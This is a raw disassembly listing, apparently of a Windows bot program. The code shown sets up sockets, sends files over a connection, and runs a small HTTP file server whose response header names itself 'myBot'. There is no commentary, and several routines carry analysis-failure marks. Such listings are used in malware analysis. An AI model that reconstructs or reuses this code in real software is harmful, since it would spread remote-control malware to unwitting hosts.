		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA7815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9FCh, 74FFF883h, 0FF565696h, 4CB72035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0F8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 3415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E72805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA7C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Eh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 6A4DE1E8h, 53569071h, 0E890026Ah
		dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh
		dd 20A16690h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9E4h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A6Ah
		dd 7DC08590h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h, 0F883716Ah
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A916CE8h
		dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 4349BCh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	4349B4h
		dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 4349AC68h, 39E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 49946816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 498C68FFh, 0E8500043h, 0D414h
		dd 59C08559h, 6A560A75h, 49746814h, 61EB0043h, 0FF50858Dh
		dd 6C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h
		dd 5C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh,	434954h
		dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h,	434940h
		dd 858D1FEBh, 0FFFFFF50h, 43493C68h, 0B1E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 43491C68h, 0D9E95700h,	0BF000002h
		dd 434914h, 0FF50858Dh,	5057FFFFh, 0D38BE8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 491068FFh, 0E8500043h, 0D374h
		dd 59C08559h, 6A560D75h, 48FC6813h, 9AE90043h, 8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 4348F868h, 3DE85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 4348E468h, 263E900h, 858D0000h, 0FFFFFF50h
		dd 4348DC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 4348B0h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 4348A8h, 0D2CEE850h
		dd 85590000h, 2A7559C0h, 90BE056Ah, 59004348h, 0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43488868h
		dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E445h
		dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 486068FFh,	0E8500043h
		dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48586857h
		dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h
		dd 0D4458D50h, 0B4458D50h, 43484C68h, 0F3E85000h, 830000C9h
		dd 6A5618C4h, 482C681Dh, 6E90043h, 8D000001h, 0FFFF5085h
		dd 482468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh
		dd 6A560000h, 47F86828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 8E850B4h, 59000001h,	5901F883h, 9E850Fh, 0B5390000h
		dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
		dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh
		dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0E068176Ah
		dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 0A868FFFFh
		dd 50004347h, 0C949E8h,	0CC48300h, 0FBBCB539h, 2375FFFFh
		dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h
		dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h
		dd 0E1E850FFh, 0FF000063h, 4CE4F005h, 2EEB5900h, 68206A56h
		dd 434784h, 858D1FEBh, 0FFFFFF50h, 42CD3068h, 0D5E85000h
		dd 590000D0h, 7559C085h, 1B6A560Dh, 43476868h, 875FF00h
		dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h
		dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h,	0FFFAD9E9h
		dd 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CE72C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE72C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE72C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h

loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE72C
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2680F3Dh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi

loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE72C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9E4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CBA0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA80
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]

loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B

loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------

loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA7C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]

loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------

loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]

loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6

loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------

loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7

loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDD0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------

loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349FC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA

loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------

loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]

loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------

loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]

loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15

loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------

loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]

loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------

loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA7C

loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------

loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h

loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------

loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2731391h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------

loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h

loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax

loc_41004C:				; DATA XREF: ___:004385B8o
					; ___:004385CCo
		push	[ebp+var_44C]
		call	dword_4CBA34
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------

loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h

loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA7C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------

loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2

loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------

loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------

loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al

loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al

loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E

loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A084 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2690E3Bh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------

loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi

